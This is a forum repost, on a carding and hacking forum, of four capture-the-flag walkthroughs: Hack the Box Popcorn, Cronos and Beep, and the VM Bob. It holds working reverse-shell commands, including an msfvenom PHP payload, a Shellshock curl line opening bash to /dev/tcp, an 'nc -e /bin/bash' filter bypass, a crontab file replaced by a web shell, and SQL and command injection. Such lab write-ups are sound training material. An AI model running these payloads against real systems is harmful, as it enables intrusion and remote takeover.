[Guide] How to Hack the Box Challenge: Popcorn Walkthrough

[Guide] How to Hack the Box Challenge: Popcorn Walkthrough - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Hack the Box Challenge: Popcorn Walkthrough (/Thread-Guide-How-to-Hack-the-Box-Challenge-Popcorn-Walkthrough)

[Guide] How to Hack the Box Challenge: Popcorn Walkthrough - NINZA - 05-14-2020

Hello friends!! Today we are going to solve another CTF challenge “Popcorn” which is available online for those who want to increase their skill in penetration testing and black box testing. popcorn is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.6 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.6
1
nmap -A 10.10.10.6
From the given below image, you can observe we found port 22,80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue for the next step.
[Image: 2.png?w=687&ssl=1]

Next, we have used dirb tool of Kali to enumerate the directories from using the IP Address. The command we have used is dirb

[To see content please register here]

.6 After checking most of the directories, we finally decided to go for /torrent directory.
[Image: 3.png?w=687&ssl=1]

So next we decided to explore

[To see content please register here]

through browser URL and what we see is a Webpage shown below. After looking at the page for some clue, we saw that we need to register on this site first.
[Image: 5.png?w=687&ssl=1]

After clicking on Register option on the Webpage. The registration form opened is shown below. As you can see you need to give details to successfully register on this site.
[Image: 6.png?w=687&ssl=1]

After successfully registering on the website. Click on Upload option and the page opened is shown below. Now here we have given the path of any torrent file. Then Click on upload.
[Image: 7.png?w=687&ssl=1]

When the torrent file is successfully uploaded the next page we are redirected to is shown below. Now simply click on Edit this torrent option.
[Image: 8.png?w=687&ssl=1]

Now using Metasploit we have created a payload in php by using the command.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.3 lport=4321 -f raw
[Image: 9.png?w=687&ssl=1]

Now the problem we got was while we are uploading a php file in the update screenshot option it was not taking a php file. So what we did here is renamed the file with php.png which is 123.php.png. And Clicked on Submit Screenshot.
[Image: 12.png?w=687&ssl=1]

But before clicking on submit screenshot we have captured the request of this page using Burp Suite. Where you can see our file with a double extension has been successfully submitted.
[Image: 13.png?w=687&ssl=1]

As you can see have edited the file name to 123.php. Now Click on Forward option in burp suite.
[Image: 14.png?w=687&ssl=1]

Next, we saw that our file has been successfully uploaded.
[Image: 15.png?w=687&ssl=1]

Next, we have again used dirb tool of kali to enumerate the directories from using the IP Address. The command we have used is dirb

[To see content please register here]

. After checking most of the directories, we finally decided to go for /torrent/upload/ directory.
[Image: 16.1.png?w=687&ssl=1]

So next we decided to explore

[To see content please register here]

through browser URL and what we see is a Webpage shown below. We see that our file has been successfully uploaded. By click on the file, we have uploaded.
[Image: 16.png?w=687&ssl=1]

We have used Metasploit and got the meterpreter as you can see below.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.3
msf exploit(multi/handler) set lport 4321
msf exploit(multi/handler) exploit
Once we have got the meterpreter. We have used command cd /home. Then we check inside the george directory using command ls /home/george, here we found out the user.txt file and read the file content which contains our first FLAG!!
[Image: 17.png?w=687&ssl=1]

Now have searched kernel exploit on google, where we found that it is an exploit which is used for getting Local privilege escalation. We have simply downloaded the file on our Desktop.
[Image: 18.png?w=687&ssl=1]

As you can see we have uploaded using the command upload /root/Desktop/15704.c Now we have used the command shell to access the root privilege. Now we have compiled. Next, we have given permission to the exploit. Using cd /root command we have found a root.txt file. And to view the contents we have used cat root.txt command. In the end, we have found our Final FLAG!!
[Image: 19.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Cronos” which is available online for those who want to increase their skill in penetration testing. Cronos is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Cronos craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.13 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.13
1
nmap -A 10.10.10.13
From the given below image, you can observe we found port 22,53,80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network we preferred to explore this IP in a browser but didn’t get any remarkable clue for next step. It just came out that the Apache HTTP Server is working properly.
[Image: 2.png?w=687&ssl=1]

Now we have added the domain name of the target machine in the /etc/hosts file to access the webpage using the IP address as well as Domain Name that we have added.
[Image: 3.png?w=687&ssl=1]

Knowing that Port 53 is open. We have used command host -l cronos.htb 10.10.10.13 to check the DNS running on this IP. On the other hand, it gave us a clue for our next step which is another Domain Name i.e admin.cronos.htb
[Image: 4.png?w=687&ssl=1]

Now we have added the new domain name which was found in the previous step inside /etc/hosts file to access this webpage with both IP address and Domain Name.
[Image: 5.png?w=687&ssl=1]

Now open

[To see content please register here]

on the browser. And it came out to be a Login Portal asking for username and password credentials to log us in. Basically, we know in a situation like this, we might generally use Brute Forcing or SQL Injection. After long hours of trying we finally breached it using SQL injection command in the Username and giving any Random Number in the Password.
[Image: 6.png?w=687&ssl=1]

From the previous step, we are successfully logged into this portal. And the page opened is given below.
[Image: 7.png?w=687&ssl=1]

Now in this critical situation, we thought of running command injection; ls as shown below. Which showed us some .php files.
[Image: 8.png?w=687&ssl=1]

We have used Metasploit exploit /multi/script/web_delivery and got the meterpreter as you can see below.
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 8082
msf exploit(multi/script/web_delivery) exploit
1
2
3
4
5
6
msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set target 1
msf exploit(multi/script/web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.3
msf exploit(multi/script/web_delivery) set lport 8082
msf exploit(multi/script/web_delivery) exploit
[Image: 9.png?w=687&ssl=1]

Next, you can we have pasted the copied command and clicked on execute.
[Image: 10.png?w=687&ssl=1]

There we got our first Session along with the meterpreter. Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the noulis directory using command ls /home/noulis, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
sessions 1
sysinfo
cd /home
ls
cd noulis
ls
cat user.txt
1
2
3
4
5
6
7
sessions 1
sysinfo
cd /home
ls
cd noulis
ls
cat user.txt
[Image: 11.png?w=687&ssl=1]

After we have used command cat crontab to view the contents inside the crontab. Hereby viewing the logs of crontab we saw a PHP file which has been scheduled and gets executed every time.
[Image: 12.png?w=687&ssl=1]

So we thought of downloading this file to our Desktop by using the command
download /var/www/laravel/artisan /root/Desktop/ .
1
download /var/www/laravel/artisan /root/Desktop/ .
[Image: 13.png?w=687&ssl=1]

Now we have used a default web shell named php-reverse-shell.php and by editing this file using the text editor. We have changed the IP to our local host IP and changed the port to 1234. Click on Save. And we have also changed the name of this file to artisan which was the name of the file we downloaded earlier.
[Image: 15.png?w=687&ssl=1]

It’s time to upload this file artisan.php to the same location from where we downloaded the original artisan file. For this the command used is
upload /root/Desktop/artisan.php /var/www/laravel/artisan
1
upload /root/Desktop/artisan.php /var/www/laravel/artisan
[Image: 16.png?w=687&ssl=1]

Next, we have started a netcat listener using command nc –lvp 1234. Therefore as per crontab, the scheduled artisan.php can be executed whenever its turn will come up. After a few minutes this file got executed, then we used command ls to look a directory named root. The command used is cat /root for the contents in the root directory. We found the root.txt file. By using command cat /root.txt. We found out final Flag!!
[Image: 17.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Beep” which is available online for those who want to increase their skill in penetration testing and black box testing. Sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Beep craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.7 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.7
1
nmap -sV 10.10.10.7
From given below image, you can observe we found port 22,25,80,110,111,143,443,993,995,3306,4445,10000 are open in victim’s network.
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue for the next step.
[Image: 2.png?w=687&ssl=1]

As you can see we are redirected to the Elastix Login Portal in the image below.
[Image: 3.png?w=687&ssl=1]

Next, we have used dirb tool of Kali to enumerate the directories from the .txt file. The command we have used is dirb /usr/share/wordlists/dirb/big.txt . After checking most of the directories, we finally decided to go for the vtigercrm directory.
[Image: 4.1.png?w=687&ssl=1]

So next we decided to explore

[To see content please register here]

through browser URL and what we see is another Login Portal of vtiger CRM 5 browser. After looking at the page for some clue, we saw a version of vtiger which is vtiger CRM 5.1 in the bottom left of the Webpage. As Shown Below.
[Image: 4.png?w=687&ssl=1]

Then we decided to search this version of vtiger CRM 5.1 on google. Which came out to be a Metasploit’s Exploit.
[Image: 5.png?w=687&ssl=1]

We have used Metasploit exploit /vtiger_soap_upload and got the meterpreter as you can see below.
use exploit/multi/http/vtiger_soap_upload
msf exploit(multi/http/vtiger_soap_upload) set rhost 10.10.10.7
msf exploit(multi/http/vtiger_soap_upload) set rport 443
msf exploit(multi/http/vtiger_soap_upload) set ssl true
msf exploit(multi/http/vtiger_soap_upload) exploit
1
2
3
4
5
use exploit/multi/http/vtiger_soap_upload
msf exploit(multi/http/vtiger_soap_upload) set rhost 10.10.10.7
msf exploit(multi/http/vtiger_soap_upload) set rport 443
msf exploit(multi/http/vtiger_soap_upload) set ssl true
msf exploit(multi/http/vtiger_soap_upload) exploit
Great!!! We got meterpreter session 1 opened
[Image: 7.png?w=687&ssl=1]

Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the fanis directory using command ls /home/fanis, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
pwd
cd /home
ls
cd fanis
ls
cat user.txt
1
2
3
4
5
6
pwd
cd /home
ls
cd fanis
ls
cat user.txt
[Image: 8.png?w=687&ssl=1]

In the beginning, we say port 10000 was also open when we scanned the IP using NMAP command. We opened the port 10000 along with the IP in the browser. This gave us a bad request, but the clicking on the URL open up the page.
[Image: 12.png?w=687&ssl=1]

Clicking on the URL given in the previous step just redirected us to Webmin login Portal as you can see in the image below.
[Image: 13.png?w=687&ssl=1]

As we don’t know the username and password credential for this portal. So we decided to use some random username’s and password’s which shows us a new directory name at the end of the URL which is session_login.cgi.
[Image: 14.png?w=687&ssl=1]

Now we decided to use curl to exploit vulnerability In this command we have given the local hosts IP, the port number so that we can start out listener services using netcat command on this port and we have given victims URL.
curl -k -H "user-agent: () { :; }; bash -i >& /dev/tcp/10.10.14.3/8081 0>&1"

[To see content please register here]

1
curl -k -H "user-agent: () { :; }; bash -i >& /dev/tcp/10.10.14.3/8081 0>&1"

[To see content please register here]

After executing our curl command, we have simply started our listening services using netcat command nc -lvp 8081. Once we have established a connection with the Victim Host. We used command ls to look for files, a folder in the current directory.
[Image: 16.png?w=687&ssl=1]

The ls command which gave us the root.txt file. Whose content we would like to see by using the cat root.txt command.
Finally, we found our final FLAG!!
[Image: 17.png?w=687&ssl=1]

Today we are going to take another CTF challenge known as Bob: 1.0.1 The credit for making this vulnerable machine goes to “

[To see content please register here]

” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.
Penetrating Methodologies

Port scanning and IP discovery
Browsing the IP on Browser
Enumerating server webpage
Discovering RCE Vulnerability
Bypassing the Filter for RCE
Getting a shell using netcat
Enumerating the System for Users
Getting Root Access
Enumerating the System for Flags
Reading the flags

Let’s Breach!!!
Let’s start from getting to know the IP of VM (Here, I have it at 192.168.1.109 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 0.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109
Awesome!! Nmap has done a remarkable job by dumping the details of service running on open port 80. It also found the robot.txt and it showed us that it contains /login.php, /dev_shell.php /lat_memo.html, /passwords.html
[Image: 1.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser.
[Image: 2.png?w=687&ssl=1]

After this I was curious about the links inside the robots.txt so, I went on to open those. One that drew my attention was

[To see content please register here]

It seemed like a shell, so I tried to run the “ls” command.
It didn’t work and I got a Denied message “Get out skid lol”
[Image: 3.png?w=687&ssl=1]

My next try was a pwd command. But even then, there was no success.
[Image: 4.png?w=687&ssl=1]

OK, As I was about to give up on this shell, I thought to try “id” command.
At last! I had a command which could run in this shell. Now all I have to do is bypass it in order to generate a shell.
[Image: 5.png?w=687&ssl=1]

I tried “id | ls” and I have the result for both commands. I have successfully bypassed with a single pipe (|)
As I ran the “ls” command, I saw a file “dev_shell.php.bak”. I save that file on my system.
[Image: 6.png?w=687&ssl=1]

As I ran the “ls” command, I saw a file “dev_shell.php.bak”. I save that file on my system.
[Image: 7.png?w=687&ssl=1]

After downloading the “dev_shell.php.bak”, I opened the file using cat command as shown in the image given below.
You can see variable $bad_words, it is the list of commands which were banned in the dev_shell.php we were messing with earlier.
[Image: 8.png?w=687&ssl=1]

You can see that the netcat command is not allowed but “nc” is not on the list. So, I decided to get the shell using nc. I generated a shell using this command:
id | nc -e /bin/bash 192.168.1.132 6000
1
id | nc -e /bin/bash 192.168.1.132 6000
Here, 192.168.1.132 is the IP of My Attacking Machine (Kali Linux)

[Image: 9.png?w=687&ssl=1]

Before running this command, Start a netcat listener on the port 6000 to grab the shell which will be generated using the command mentioned before.
nc -lvp 6000
1
nc -lvp 6000
As soon as I ran the command on the browser, I got a limited shell on my netcat listener. Now let’s spawn a TTY Shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
OK, this gave us a proper shell. After changing to the home directory, we found the following users
[Image: 10.png?w=687&ssl=1]

After browsing through the user directories, I found something in Elliot’s directory. I found a text file named “theadminisdumb.txt”
[Image: 11.png?w=687&ssl=1]

On opening, it was a description of the employees in the IT department and especially the admin. He says that the admin is dumb because he sets a default password on the systems “Qwerty”.
[Image: 12.png?w=687&ssl=1]

This gave us a hint that one of the users must have the password as Qwerty. The only way to find out is brute forcing manually as shown below.
su [username]
I found out that User jc has the password Qwerty. So, logged in using the jc credentials.
[Image: 13.png?w=687&ssl=1]

Now again let’s look for another clue in the user directories. After looking for a while. I found another text file in user bob’s Document Directory called staff.txt. But we also found a login.txt.gpg but GPG or GNU Privacy Guard is the encrypted file, we are going to need a passphrase to decrypt the text file. Our next Target is to get that passphrase. We also got a Directory named Secret. Let’s get into that.
[Image: 14.png?w=687&ssl=1]

There was a folder inside a folder and go on till we have a note.sh file.
The Path for that file is /home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh
On finding those notes.sh, I opened it using cat command. It contained Message:
Harry Potter is my favourite
Are you real me?
Right, I’m ordering pizza this is going nowhere
People just don’t get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
We tried a couple of combination from the words in them but after some multiple guesses. Then it struck me that I could try to use the first letter of every sentence and create a word, after doing that I got the word “HARPOCRATES” On googling it I found that it has done something with secrets and password. This made me sure that it is the passphrase for the gpg file.
[Image: 15.png?w=687&ssl=1]

So time to decrypt the gpg file
gpg --batch –passphrase HARPOCRATES -d login.txt.gpg
1
gpg --batch –passphrase HARPOCRATES -d login.txt.gpg
Great! We have the bob login credentials!
Username: bob
Password: b0bcat_
[Image: 19.png?w=687&ssl=1]

Now that we have the login credentials let’s login into bob’s shell
After logging in I ran the command sudo -l which showed that we have “ALL” Permission. Now all we have to do is get on to root shell which can be done using command sudo su
[Image: 20.png?w=687&ssl=1]

After we got into the root shell all that is left is to open the root flag which can be done using command cat /flag.txt.
[Image: 21.png?w=687&ssl=1]